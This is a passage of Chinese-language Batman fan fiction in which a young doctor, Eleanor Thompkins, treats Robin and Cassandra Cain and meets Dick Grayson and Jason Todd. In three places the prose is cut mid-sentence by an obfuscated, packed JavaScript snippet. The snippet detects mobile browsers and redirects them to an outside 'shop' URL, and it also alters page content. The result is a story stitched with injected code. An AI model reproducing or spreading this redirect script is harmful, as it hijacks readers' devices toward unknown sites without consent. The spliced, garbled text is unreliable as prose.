“做好一个医生该做的准备。” “你会做得很好的,埃拉诺。你一直都很清楚,医生的武器是知识和双手,不是好奇心。” 晚餐在一种宁静而默契的氛围中结束。埃拉诺抢着洗了碗,把莱斯利“赶”去客厅休息。 窗外,哥谭的夜晚彻底沉入黑暗,只有远处韦恩塔的灯光和高楼零星的窗户还亮着。 晚上九点,诊所正式转入夜间模式。楼下的灯只留了入口和急诊室的一盏,楼上生活区的灯光也调暗了。 埃拉诺整理着下午的病历,莱斯利则在翻阅一本医学期刊。 没有人睡觉。虽然埃拉诺觉得一人守半夜效率更高,但莱斯利不放心她一个人。 墙上时钟的秒针发出规律的轻响,一切安宁得就像哥谭任何一个普通的——或者说,相对普通的——夜晚。 直到临近十二点。 先是一阵极其轻微,几乎被雨声掩盖的,不同于风吹的窸窣声从诊所后巷的方向传来。埃拉诺正在核对药品清单,笔尖顿了一下。莱斯利翻页的动作也停了半秒。 然后,是两下清晰的,间隔均匀的敲击声,落在诊所的后门上。 埃拉诺和母亲对视了一眼。莱斯利点了点头,放下期刊,站起身,脸上没有任何惊讶。 埃拉诺的心跳快了一拍,但手上动作稳当。她合上文件夹,起身跟在莱斯利身后。 莱斯利走到后门,没有立刻开门,而是透过门上的防弹玻璃小窗向外看了一眼,然后才拧动门锁。 门开了。 带着夜晚寒意的潮湿空气涌进来,一同进入的,是一个被深色披风包裹的身影。 是蝙蝠侠。 然后蝙蝠侠掀开披风。 露出披风下的红绿灯小鸟。 8. 尺寸问题 “预计三周……或许更短一点,两周就能恢复。固定后不影响正常活动。但剧烈活动……” 埃拉诺说。她的声音在雨声中格外清晰,真不明白怎么隔着防弹玻璃还是能听这么清楚。 莱斯利医生很严厉地说:“夜巡是不行的。罗宾需要限制剧烈运动。” 埃拉诺刚才就想说限制剧烈运动,但她拿不准,万一罗宾真有什么超能力能够在骨裂的情况下到处乱飞呢。 蝙蝠侠:“谢谢,莱斯利医生,埃拉诺医生。我会把罗宾送回蝙蝠洞。” 莱斯利扬起眉毛:“罗宾是偷溜出来的吗?” …… 哥谭。雨夜。蝙蝠侠。 埃拉诺稍稍抬头,看向蝙蝠侠,不知道是不是错觉,她感觉蝙蝠侠似乎是矮了一点。 也可能是因为她更高了。上一次见到蝙蝠侠,埃拉诺才十二岁。 不过现在她更好奇罗宾的回答。再明显不过来了,这个罗宾,和十五年前那个活泼过头,能对着医生的女儿慷慨激昂地说一百遍“你要保密”的罗宾不是一个。 十五年时间,如果罗宾是一个正常人类,都足够罗宾从罗宾尺寸长到蝙蝠侠尺寸了。 嗯……说到蝙蝠侠尺寸,埃拉诺真心觉得蝙蝠侠比起十五年前好像矮了一点。 好吧,其实罗宾也矮了一点。 罗宾没有回答。 但蝙蝠侠回答了。 蝙蝠侠嗓音喑哑低沉:“我会送罗宾回蝙蝠洞,谢谢你们,医生。” 埃拉诺适时地说:“我去收拾一下治疗室。” 她刚刚给罗宾照了X光并且检查了固定情况,治疗室不乱,几乎可以说没怎么动,但埃拉诺感觉自己最好——战略性撤退一下,她暂时不想知道太多关于蝙蝠侠和罗宾的情况。 特别是看起来即将有一场争吵爆发的时候。罗宾带伤偷溜出来了,然后蝙蝠侠把他提溜到诊所来了,就目前来看,是这样的。 治疗室的门在埃拉诺身后轻轻合上,将大部分雨声和接下来的对话隔绝在外。但她没有立刻走远,诊所老旧的建筑意味着隔音并非完美。 埃拉诺靠在门边的墙上,并非刻意窃听,只是需要一点时间平复见到蝙蝠侠时加速的心跳——尽管她表现得异常镇定。 她听到母亲莱斯利医生压低了的声音,带着不容置疑的严肃:“这不是他第一次试图带伤行动,但这次更危险。骨裂如果移位,可能刺破胸膜,那会要命的,即使是在蝙蝠洞里。” 短暂的沉默,只有雨点敲打窗户的密集声响。 然后,是蝙蝠侠那经过处理的,低沉沙哑的声音:“我明白,莱斯利医生。监管是我的责任。他……罗宾的行动超出了今晚的授权范围。” “授权?”莱斯利的语气里带上了些许埃拉诺熟悉的,针对固执患者的责备,“他是你的搭档,不是你的士兵。而且,他受伤了,需要的是医疗指令和休息,不是军事化术语。” 又是一阵沉默。埃拉诺几乎能想象蝙蝠侠那隐藏在面具下的,可能略带尴尬或无奈的表情——如果蝙蝠侠也有那种表情的话。 “他担心……”蝙蝠侠的声音更低了些,似乎瞥了一眼治疗室的方向,“……他认为他的缺席会造成战术缺口。我说还有搅局者和黑蝙蝠……” “所以他就带着可能致命的隐患跑来证明自己不可或缺?”莱斯利的反驳一针见血,“典型的青少年英雄思维。你当年没少干类似的事,虽然方式不同。” 埃拉诺挑眉。 妈妈这话……信息量很大。 她指的是蝙蝠侠年轻时?还是……上一任罗宾? “情况已经控制,”蝙蝠侠生硬地转换了话题,似乎不想在“当年”的问题上深入,“我会确保他遵守医疗指令。固定可靠吗?” “埃拉诺处理得很好。她用的材料和手法足够应对……常规层面的活动。但绝不包括飞檐走壁和挨揍,”莱斯利停顿了一下,语气放缓,“你也一样,蝙蝠侠。你今晚的移动似乎也有点……” 被打断了。 “不影响功能。” 这是蝙蝠侠的回答,迅速而简洁,简直是条件反射般的否认。 埃拉诺在心里默记:蝙蝠侠也可能带伤。而且,否认伤情是他们的共性吗? “随你便。但记住,如果你们俩都倒下了,哥谭的夜晚不会因此停转,只会更糟,”莱斯利的声音带着疲惫的务实,“带他回去,让他好好休息。至少三天,绝对静养。然后才能进行低强度训练。这是我的最终医疗意见。” “……明白。”蝙蝠侠的应答带着服从的意味。 接着是衣料摩擦的声音,还有极轻微的,金属扣具的响动。他们准备离开了。 埃拉诺立刻轻手轻脚地离开门边,走向药品柜,假装正在清点什么。几秒钟后,治疗室的门开了。 蝙蝠侠走了出来,披风微湿。他的下巴上一样带着亮晶晶的雨水。 他朝埃拉诺的方向微微颔首——一个非常轻微但确实存在的致意。 “再次感谢,埃拉诺医生。” “职责所在。” 埃拉诺转过身,专业地点点头。 罗宾跟在他身后,多米诺面具挡住了上半张脸,但紧抿的嘴唇和下颚线依然显露出不甘和倔强。他看了埃拉诺一眼,迅速移开视线,有点不自在。 “罗宾,”埃拉诺在他经过时,用平静的医生命令口吻补充,“记住,肋骨区域的疼痛是身体的警告。不要忽略它。三天后如果疼痛没有缓解或出现呼吸加剧疼痛,需要复查。” 她刻意用了“需要复查”而不是“回来复查”,将选择权表现得像常规医疗建议,而非命令。 虽然这么选择语言大概不会有用。 罗宾又不是平常的患者。 罗宾的脚步顿了一下,极其轻微地点了下头,几乎难以察觉,然后便跟着蝙蝠侠走向后门。 莱斯利站在治疗室门口,目送他们。蝙蝠侠在门口停下,回头看了一眼莱斯利,又似乎飞快地 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屏幕亮起,显示出一个极其简洁的界面。没有花哨的图标,只有按日期排列的文件夹,命名规则是简单的“日期+代码”。 代码是缩写,比如“B01”、“R02”、“N01”等等。 代号会变,但核心人员有固定编号。”莱斯利移动鼠标,点开一个标记为“R03”的远期期文件夹。里面是几张X光片的扫描件,一份简短的文字记录,记录了受伤原因和处理方式。 埃拉诺凑近屏幕,仔细看着那些记录。专业,但极其精简,没有任何个人信息,受伤原因的描述也模糊得像是从警方报告里摘录的通用术语。 “没有既往史汇总?没有过敏药物列表?没有完整的体格检查记录?”埃拉诺指着屏幕问,“这些X光片……没有标注左右方位,没有拍摄参数。” “因为不需要,”莱斯利平静地说,“他们来时,通常只有两个需求:处理当前伤情,以及判断多久能恢复‘工作’。过敏?据我所知没有。既往史……”她顿了顿,“那就是一连串类似的文件夹。你能从X光片上看到旧伤的痕迹,自己拼凑。 “这很危险,妈。”埃拉诺最终说,声音很轻,“没有系统的记录,就无法评估长期风险。重复性的损伤,尤其是头部和脊柱的,累积效应会非常可怕。还有药物相互作用……如果他们中有人因为别的伤病在其他地方用药……” “我知道,”莱斯利关掉了那个文件夹,转身面对女儿,背靠着柜台,“太危险了,想想看,如果蝙蝠侠的身体数据泄露了……” “那会是一场灾难,”埃拉诺立刻接上,“我们要保护每一个义警的身体数据。” “是的,所以说,一切都记在我的脑子里。” 莱斯利医生说。 “嗯……一个问题,我至少可以在X光片上标注左右吧?” 9.逻辑难题 韦恩家族有很多人。 目前为止,自己只接触过布鲁斯·韦恩。韦恩的孩子们,埃拉诺还一个没有见过。 档案里也就只有阿尔弗雷德·潘尼沃斯提供的疫苗接种记录了。 布鲁斯·韦恩状况良好,埃拉诺想过管家先生会不会要求每天查房,看起来没有,只有第一天对韦恩先生进行了体格检查。之后每天上午十点钟进行一次视频,仅此而已。 “这绝对是世界上最棒的工作。” 工作的第三天,埃拉诺很高兴地对莱斯利医生说。 选择韦恩是正确的,她每天花在韦恩一家身上的时间不超过30分钟,绝大多数时间都在诊所处理感冒的婴儿,烫伤手指的孩子,打架打破脑袋的青春期小鬼,工作时意外受伤的工人,药物过量的流浪汉,总之——富豪外的整个世界。 有些看起来很体面的中产阶级也会来他们的诊所看病,因为这里更快更便宜,他们走的时候会留下来更多的钱——比药费更多的钱。 而莱斯利医生和埃拉诺会微笑着接过这些钱。 莱斯利正在给一个青年割伤的前臂缝合伤口,这是一处刀伤,但她们都默契地接受了患者“滚进了割草机”的主诉。 她头也没抬地回应:“别高兴得太早,阿尔弗雷德付你那么高的薪水,可不是为了让你每天享受三十分钟的哥谭首富健康播报。平静只是风暴眼。” “我知道,我知道,”埃拉诺麻利地将用过的注射器丢进锐器盒,“所以我才要抓紧时间享受现在的每一分钟。毕竟,按哥谭的天气规律,风暴眼通常小得可怜。” 话音刚落,她放在柜台上的手机震动了起来。屏幕亮起,显示着“阿尔弗雷德·潘尼沃斯”的名字。 埃拉诺和莱斯利交换了一个眼神。 “看,”莱斯利说,用镊子打了个结,“风暴的前锋。” 埃拉诺擦擦手,拿起手机走到相对安静的角落接听:“潘尼沃斯先生,下午好。” “下午好,埃拉诺医生,”阿尔弗雷德的声音一如既往的平稳礼貌,但语速似乎比平时快了一丝丝,“希望没有打扰您。庄园这边有一个……小状况,可能需要您过来一趟。” “是韦恩先生的情况有变化吗?”埃拉诺立刻进入工作状态,脑子里快速过了一遍布鲁斯·韦恩的伤情和用药。 不应该啊,上午视频里他看起来精神甚至有点过于好了。 “不,是卡珊德拉小姐,她在练习芭蕾时意外受伤,我需要您来确认一下。” “练习芭蕾?”埃拉诺重复了一遍,脑海中迅速调出关于卡珊德拉·该隐的资料——养女,公开信息极少,安静,似乎有舞蹈或武术背景。“具体是哪里受伤?” “左脚踝扭伤,伴有明显肿胀和瘀青,无法承重,”阿尔弗雷德的声音清晰而专业,“我已经进行了基础的R.I.C.E处理,但希望您能来做专业评估,排除骨折或韧带撕裂的可能。庄园有便携式X光设备。” RICE处理。 休息、冰敷、加压、抬高。 管家的处置很合理。 “我明白了。是否需要我联系运动损伤专科医生?”埃拉诺询问,同时已经在心里评估。 芭蕾是高强度活动,踝关节扭伤很常见。 “目前先请您评估即可,老爷也倾向于如此。”阿尔弗雷德的回答滴水不漏,“如果您判断有必要,我们再启动转诊流程。” “好的,我马上出发。预计四十分钟后抵达。”埃拉诺挂断电话。 一路无事。 埃拉诺在脑中预演检查流程:视诊,触诊,活动度检查,神经血管评估,必要时X光。如果是普通踝关节扭伤,处理方案很明确。但…… 但是什么? 没有但是。 埃拉诺耸了耸肩,把这个无所谓的想法抛之脑后。 “卡珊德拉小姐在治疗室,请随我来。” 卡珊德拉·该隐靠坐在一张宽大的扶手椅上,左脚搭在脚凳上,用冰袋敷着,她穿着舒适的居家服,黑发披肩,看起来非常年轻,实际上也非常年轻。 听到动静,她抬起头。 埃拉诺的第一印象是:安静,极其安静。 “卡珊德拉小姐,这位是埃拉诺·汤普金斯医生,庄园的家庭医生。”阿尔弗雷德介绍道。 卡珊德拉点了点头,目光转向埃拉诺的出诊包。 “你好,卡珊德拉,”埃拉诺换上专业而温和的语气,走近,“阿尔弗雷德说你在练习时扭伤了脚踝,能跟我具体说说怎么发生的吗?当时的感觉?” 卡珊德拉沉默了两秒,然后做了一个非常流畅的手势——指向自己的脚踝,然后手掌翻转向下,模拟了一个“崴脚”的动作,动作干脆利落。接着,她用手势比划了“旋转”和“落地”,最后摇了摇头,指了指脚踝,脸上配合地露出恰到好处的忍痛表情。 全程没有发出一点声音。 埃拉诺愣了一下,随即反应过来。 她有语言障碍?还是选择不说话?资料里没提。 阿尔弗雷德只给她疫苗接种记录……说实话,疫苗本也不是很全。 “卡珊德拉小姐习惯使用手语和肢体语言交流,但她能完全理解您的话。” 好极了,管家现在解释了。 “好的。”埃拉诺迅速调整,将注意力拉回伤情本身。她戴上手套,在阿尔弗雷德的帮助下小心地取下冰袋和绷带。 脚踝确实肿了,瘀青正在形成,主要集中在踝关节外侧。典型的踝关节扭伤常见区域。埃拉诺开始触诊,手指轻柔但稳定地按压骨骼和韧带附着点。 “这里疼吗?……这里呢?” 卡珊德拉点头或摇头,非常配合。 检查越深入,埃拉诺心里的疑窦越深。 肿胀和瘀青是真的,疼痛反应也真实。但是…… 不该出现在这个时间。 以埃拉诺的经验来看,卡珊德拉受伤肯定超过12个小时了。 更关键的是……她的指尖感觉到了一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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卡珊德拉抬起眼,那双漆黑的眼睛看着埃拉诺,平静无波。她摇了摇头,然后做了一个优雅的,伸展手臂的芭蕾手势,似乎在说:只有芭蕾。 埃拉诺点了点头,没再追问。 没有必要追问,就像出发之前她和莱斯利都接受“卷进割草机”这种受伤理由,即使那个病人的伤口一眼就是刀伤。 虽然说,富豪养女和帮派分子一样要用这种理由的确有点奇怪。 医生收拾好东西,对管家说:“固定好了。请务必监督她休息。如果48小时后肿胀疼痛没有开始缓解,或者出现新的症状,及时联系我。” “非常感谢,埃拉诺医生。”阿尔弗雷德送她离开房间。 走在庄园安静的走廊里,埃拉诺斟酌着开口:“潘尼沃斯先生。” “请说,医生。” “卡珊德拉小姐是在放学后练习芭蕾吗?” “是的,卡珊德拉小姐通常在下午课后进行个人练习。”阿尔弗雷德答道,脚步依然平稳。 “在庄园专门的舞蹈室?” “在三楼东侧,那里改建过,符合专业需求。” 埃拉诺点了点头,没再问下去。 心里的疑团像滚雪球一样在扩大。 一个接受专业芭蕾训练的女孩,肌肉类型却显示出长期高强度的格斗或极限运动特征;一次新鲜的扭伤,临床表现的时间线与损伤实际存在的时间对不上。 这不是医学难题,这是逻辑难题。 10.无害的小秘密 埃拉诺发自内心地希望自己没看出来受伤时间对不上的问题,也发自内心地希望自己没发现肌肉模式和芭蕾舞对不上的问题。 她本该习惯了沉默。 埃拉诺对待诊所里病人稀奇古怪的主诉一向表现得很相信,假装自己根本没看出来那些伤口不是这么回事。 但她没想到韦恩的女儿也会有这样的表现。 为什么呢?究竟是为什么呢? 为什么她明明不是专业的运动康复师或者骨科医生还是能看出来伤处的破绽呢? 她真的不想看出来啊! 但埃拉诺一样没有理由厌恶自己的大脑。否则,她不可能从一个流浪儿成为斯坦福的医学博士。 从治疗室走出来,绕过几个弯,埃拉诺再次看到了主宅的大门。 然后,她看见一个年轻男性脚步轻快地从楼梯上走下来,他的黑发微卷,额下是一双格外明亮的蓝眼睛——让埃拉诺想到布鲁斯·韦恩的眼睛。 “这位是迪克少爷,理查德·格雷森。迪克少爷,这是布鲁斯老爷新聘请的家庭医生,埃拉诺·汤普金斯医生。” 她听见管家这样为他们介绍彼此。 那句“她真的不想看出来啊!”还在埃拉诺脑海里盘旋,如同一个执着的弹幕。 医生花了零点二秒调整面部肌肉,将“恍然大悟后的复杂纠结”迅速切换成“专业医生初见家属的得体微笑”。 “下午好,格雷森先生。”埃拉诺微微点头,目光礼节性地掠过那双与布鲁斯·韦恩极为相似的蓝眼睛。 她当然知道格雷森是韦恩收养的,但那双蓝眼睛里的的确确是有什么东西是一模一样的。 具体是什么,埃拉诺说不上来。 “叫我迪克就好,医生。” 迪克·格雷森笑容灿烂,毫无初次见面的拘谨,仿佛他们早已认识。 “阿尔弗雷德跟我提过你。欢迎加入这个……嗯,健康状况偶尔会有点创意的家族。” 他眨眨眼,那个词用得轻巧又意味深长。 “谢谢。希望我的工作能让创意出现的频率降低一些。” 埃拉诺回应道,语气轻松。 创意? 是指韦恩身上那些非冲浪板造成的伤疤,还是该隐时间对不上的扭伤? 阿尔弗雷德站在一旁,双手交叠身前,姿态完美得像个背景板,但埃拉诺确信他捕捉到了迪克那个眨眼和用词。 他们简单地寒暄了两句,然后阿尔弗雷德送埃拉诺上车。 依然是照例再和司机聊上几句,很好,司机精神状态很正常,面部对称性很好,肢体活动正常。 埃拉诺很放心地给自己系好安全带,用一句对波特兰雨季的抱怨轻巧地结束话题——哥谭人总是乐此不疲地抱怨外地和外地人,这里没有外地人,但埃拉诺在西海岸待了十年,能一路从洛杉矶抱怨到西雅图。 埃拉诺双臂支在膝盖上,单手托着下巴,看窗边。车子刚刚驶出韦恩庄园,还没有开出韦恩岛。 富豪养女。 青春期。 亚裔。 不符合患者自诉的伤势。 这四个词叠加起来,如果不是卡珊德拉的养父是布鲁斯·韦恩的话,埃拉诺真的要考虑报警了。 哦,虽然儿童福利机构也好不到哪去。 万幸,卡珊德拉·该隐的养父是布鲁斯·韦恩。 虽然他的公众形象的确……嗯,不太方便形容,毕竟现在韦恩先生是自己的雇主了。 但再怎么满世界乱飞玩极限运动,再怎么收集封面女郎,韦恩还是一个慈善家。 没有布鲁斯·韦恩创办的奖学金,她恐怕就要背上四十岁都还不完的学生贷款了。就凭这一点,埃拉诺也不能说韦恩的坏话。 更何况,妈妈亲口承认过她在照顾过布鲁斯·韦恩一段时间——在韦恩夫妇去世以后。 埃拉诺不相信莱斯利医生会看错人,她照顾过的孩子,长大后不可能会做出虐待养女的事情。 “也许我想的太多了。” 年轻的医生靠在车窗上,天正在黑下来,每一次抬头,天上晚霞的颜色就变换一次,哥谭湾的颜色也更深一次,当看不见海岸线的时候,街边也陷入一片暗沉,路灯次第亮起。 “多么完美的日落,哥谭要漂亮得多,比任何一个地方都要漂亮得多。埃拉诺医生,是不是?” 是司机在搭话。 埃拉诺:“是的,无论我看到了多少日落,都没有一个能比得上哥谭的。哥谭在日落后有蝙蝠侠,其他地方都没有。” 青春期的孩子总是有很多的秘密,当年她看起来和莱斯利无话不说,没有任何叛逆期表现,但实际上她也对莱斯利隐瞒了一个秘密。 埃拉诺知道自己是收养的。但在莱斯利决定告诉她这一点前,她都假装不知道。她一直在等,而母亲从来没有说过她是收养的。 因此,埃拉诺相信卡珊德拉小姐也只是藏起来一个一样无害的青春期女孩的秘密。 面试时潘尼沃斯先生格外提到了隐私的问题,她当时回答得很好,现在要像回答一样做的很好。 嗯……怎么说,没准卡珊德拉·该隐看起来是一个跳芭蕾的女孩,但实际上有一个成为拳击手的梦想。 如果她想秘密练习某种武术,那么父亲,兄弟姐妹,管家还有家庭医生当然是需要隐瞒的对象了! 逻辑链顺畅了! 埃拉诺心满意足。 车子驶过罗伯特-凯恩纪念大桥时,埃拉诺已经把卡珊德拉·该隐的秘密武术练习假说在脑内完善到了第三版——甚至包括了可能的学习途径。 网络课程,或者偷偷报名了某个格斗俱乐部。 还有需要规避的医学风险,应力性骨折和关节过度活动综合征——这两个都很方便告诉她,因为练习芭蕾也需要注意这些。 埃拉诺为自己的推理能力和解决问题的能力感到满意。 这就像是解一道没有标准答案的临床病例题,她给出了一个逻辑自洽,符合现有证据,且对所有人都无害的诊断。 回到公园街诊所时,天已经黑透了。埃拉诺下车,对司机说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17170967|196492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了谢谢并且告诉他路上小心,走进诊所,莱斯利医生正在给一个醉醺醺额头上磕了个口子的码头工人清创缝合,动作又快又稳,对患者的胡言乱语充耳不闻。 埃拉诺放下包,洗手,穿上白大褂,自然地接替了母亲按住病人乱动的手臂。 “需要帮忙吗,妈?” “按住他就好,”莱斯利头也不抬,“这位先生坚称自己是撞到了飞着的海鸥。庄园那边怎么样?” “处理好了,”埃拉诺简略地回答,手下稳稳地制住那个试图挥舞手臂描述巨型海鸥袭击的醉汉,“卡珊德拉小姐……很安静。用手语交流。” “她是个好孩子,不过不太爱说话。”然后莱斯利医生转向醉汉,“伤口别碰水,三天后来拆线。现在,出门左转,回家睡觉,别再去招惹海鸥了,不管它们会不会飞。” 天才刚刚黑下来就喝醉了,但愿晚上不要有太多的醉汉。 醉汉嘟嘟囔囔地被送出门,诊所里暂时恢复了平静。 埃拉诺一边收拾器械,一边看似随意地开口:“我今天还碰到了理查德·格雷森。迪克。” 莱斯利正在洗手,闻言动作顿了一下,水流声继续。 “哦?他回哥谭了?他说什么了?” “就打了个招呼。他说……这是个‘健康状况偶尔会有点创意的家族’。”埃拉诺重复了迪克的原话,同时观察着母亲的反应。 莱斯利医生关上水龙头,用纸巾慢条斯理地擦着手,嘴角浮现出一丝几乎看不见的笑意。 “很贴切的形容。迪克那孩子,总是能把复杂的事情说得……很生动。” 这反应让埃拉诺更加确信,自己那套“青春期无害秘密”理论,至少在莱斯利医生这里,是得到默许甚至鼓励的。母亲没有追问任何细节,也没有对“创意”一词表现出惊讶。 “他看起来和布鲁斯·韦恩先生很像。”埃拉诺又说,“尤其是眼睛。” “养育一个孩子,总会留下痕迹的。有时候是眼睛里的神采,有时候是别的,”莱斯利的声音很温和,她走到窗边,看了一眼外面的夜色。 今天路灯亮着。 肯定是白天的什么时候修好的,但埃拉诺没有留神工人是什么时候过来的。 “血缘不是定义家庭的唯一方式,埃拉诺。有时候,共同经历的……时刻,联系得更紧密。” 埃拉诺停下了手里的动作,看向母亲的背影。这话听起来像是在说韦恩家,但绝对不止于此。 她想起自己那个保守了二十多年的,关于“已知晓被收养”的秘密。 也许在母亲看来,那也是她们之间一种无声的,充满“创意”的默契? 她不知道是不是。 这只是一个无害的小秘密。 “我明白。”埃拉诺轻声说。 那天晚上的夜班平安无事,没有创意健康状况需要处理。 蝙蝠侠平安无事,没有带着他的小鸟来敲门。 后半夜,埃拉诺在休息室睡觉,醒来时,晨光微熹,哥谭正在苏醒,带着它灰蒙蒙的活力。 11.拉撒路池理发师 回到哥谭已经有一个月时间了,埃拉诺的生活重新安顿下来,在波特兰那边的杂务也都处理好了。 在过去的一个月里,埃拉诺接受了两次面试,都拿到了offer。 拒绝了哥谭综合医院,接受了韦恩庄园。 遇到了两次蝙蝠侠。 第二次的蝙蝠侠仿佛要比第一次高一点。 三次罗宾。 每次与罗宾见面,他都是一样的身高。 其中,第二次见到罗宾是蝙蝠侠带他来复诊。 没有遇见红罗宾,红头罩,蝙蝠女和搅局者。 对布鲁斯·韦恩做了详尽的开颅手术术后护理,并且监督他康复。 对卡珊德拉·该隐处理不明原因的扭伤。 见到了韦恩长子,理查德·格雷森。 这令埃拉诺想到了莱斯利进行开颅手术时的巡回护士理查德。 显然,布鲁德海文警察做不成护士。 她排除了这一可能。 认识卡珊德拉的好友史蒂芬妮·布朗。 也许史蒂芬妮小姐也在一起练习武术。 尚未见过杰森·陶德。 尚未见过达米安·韦恩。 对提摩西·德雷克的体格检查已经完成,健康档案——尽管数据不全——已经建立。 与管家阿尔弗雷德·潘尼沃斯合作愉快。 以上就是过去一个月中发生的所有值得记录的事情。 看起来真像是一份简略版的工作日志。 埃拉诺这样想着把文档关掉了,然后打算开车去买菜。 今天上午与韦恩先生例行视频问诊,他恢复状态良好,兴致勃勃地谋划地要去滑雪,他很高兴地表示自己肯定不会错过这个雪季的—— 的确错过不了呢。 北半球的雪季和南半球的冲浪季是重叠的,在韦恩先生冲浪时已经撞伤头部的情况,竟然如此之快地爬起来接着去滑雪,真是人类意志力惊人的体现呢。 作为家庭医生,埃拉诺没法劝,就算韦恩是他的病人也没法劝。 她能做的就是挂断视频前微笑着祝韦恩先生度假愉快。 正如她现在能做的就是思考哪一盒蓝莓是正常的甜款,而哪一盒会翻车到寡淡无味。 埃拉诺的手指在两盒蓝莓之间犹豫,试图从色泽和果粉的分布上判断哪一盒更可能充满甜美的汁水,而不是仅仅长得好看。就在她最终决定冒险选择左边那盒时,一个声音从她侧后方传来。 “蓝莓?这个季节的总是赌运气。” 声音属于一个年轻男性,低沉,带着点漫不经心的沙哑,是纯粹的哥谭街头口音。 埃拉诺转过头。站在她身旁货架通道里的男人身材高大,比迪克·格雷森还要壮硕一圈,穿着普通的黑色T恤和夹克,在这个季节是很有勇气的穿搭,起码埃拉诺会嫌冷。 一头黑发中有一缕显眼的白,挑染得很漂亮。埃拉诺甚至动了向他打听理发师的心思。 “确实,”埃拉诺点点头,举起自己选中的那盒,“但总得试试,不然早餐的燕麦片会抗议。” 青年男性的目光在她脸上停留了一秒,然后很简单地报了个名字。 “我是杰。” “埃拉。” 埃拉诺回之以同样的简单昵称。 “Jay”不是全名,她也没有必要报全名,然后快速扫了一眼对方裸露的皮肤——没有可见的新伤,旧疤痕有几处,但从位置和形态看,更接近街头斗殴或意外,而非……某些创意活动留下的。 看起来这个青年没有从事极限运动的习惯。 事实上,来这家超市采购的所有人,恐怕都不会有余钱玩极限运动。 关节活动看起来自然,站姿稳定,呼吸平稳。 初步观察…… 至少此刻很健康。 埃拉诺得出结论。 他的视线落回她手中的蓝莓,又扫向她的推车,里面已经有些蔬菜,鸡肉和牛奶。“刚从西边回来?” “波特兰。待了几年。”埃拉诺顺着他的目光看了看自己的推车,很自然地接话,“说真的,直到回来才意识到哥谭的物价有多么……亲切。” 杰森短促地哼笑了一声,像是被这个形容逗乐了,又或者只是表示赞同。他随手从旁边的货架上拿了一包通心粉。 “亲切?比起西海岸那些地方,哥谭至少不会给你的生菜标上有机空气种植的价签,然后收你十美元。” “完全同意!” 接话的冲动暂时压过了对这位杰森身份的好奇,埃拉诺想没准自己可以知道理发师的名字了。 “还有那些面包店,吃起来和我在犯罪巷转角那家老店买的没什么区别,甚至还更硬。” 杰森嘴角似乎往上牵动了一下,很细微。 “波特兰的雨季呢?他们是不是也把那吹嘘成浪漫的雾气,而不是没完没了的阴冷潮湿?” “没错!” 埃拉诺仿佛找到了知音,虽然对方看起来更像是在随口附和而非真有同感。 但就和通勤韦恩庄园时和司机抱怨一样,埃拉诺也不介意和一个路人抱怨。 “整整九个月,天空灰得像是用旧了的抹布,每个人都穿着防雨外套喝着IPA啤酒,仿佛那能驱散骨髓里的湿气。我告诉我的同事哥谭的雨是干脆利落的,他们还不信。” “他们没在哥谭的冬天被雨夹雪拍过脸。”杰森平淡地说,把通心粉放进自己臂弯挎着的篮子里,里面东西不多,看起来是临时来买点必需品。 “至少这里的糟糕是直白的。” “一针见血。”埃拉诺笑了,感觉这场关于物价和天气的抱怨意外地舒压。 她看了看杰森篮子里的东西。 通心粉,能量棒,冷冻披萨,还有一大卷绷带和一瓶消毒水。很常见的单身男性的采购清单,绷带和消毒水在哥谭更是家常便饭。 “嗯……你的蓝莓要掉了。”杰森提醒道。 埃拉诺这才发现自己在比划吐槽的时候,捏着蓝莓盒子的手指有点松。她赶紧拿稳。 “谢谢。总之,回到哥谭,至少买菜的时候不用做阅读理解,也不用为氛围感付钱。” 杰森点了点头,看起来对话到此就该结束了。 “享受你亲切的物价吧,医生。” 他最后说道,语气里听不出什么特别的情绪。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17182123|196492||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“你也一样,杰……什么?” “杰森。你是犯罪巷莱斯利医生诊所的埃拉诺医生,对吧?” “对,没错。” “祝你今天剩下的时间愉快,我不能说祝你今天愉快,因为我不知道你的上半天是否愉快——但我至少可以祝你下半天愉快——再见。” “再见。” 埃拉诺说。 高大的青年转身,步伐稳健地走向收银台的方向,很快消失在货架之间。 埃拉诺站在原地,又看了看手里的蓝莓。这次偶遇短暂而平常,就像在哥谭任何地方可能发生的任何一次搭话。 她把蓝莓放进推车,继续自己的采购。心里默默给“杰森”贴上了一个临时标签。 街头气息浓厚的年轻男性,可能从事体力或安保相关行业,对西海岸物价有共识(或许只是单纯讨厌),采购清单显示独立生活且可能有日常外伤风险,暂无急需医疗干预迹象。 一个普通的哥谭市民。大概。 至于那缕显眼的白发,埃拉诺从医学角度猜测,可能是局部色素缺失,或者某种压力性毛囊变化的结果。 除非他愿意坐下来让她详细检查头皮,否则她也无法确定。 不过说起来,埃拉诺也不是皮肤科医生,但她同样不是康复科医生,还是能一眼看出来卡珊德拉的扭伤时间不对。 …… 或者他真的有一位很好的理发师。 这是从正常人角度猜测的。 埃拉诺还是没有说出来“我喜欢你的头发”,然后自然地问理发师名字。为了弥补自己的遗憾,她不得不去补全医学方面的猜测来安慰自己。 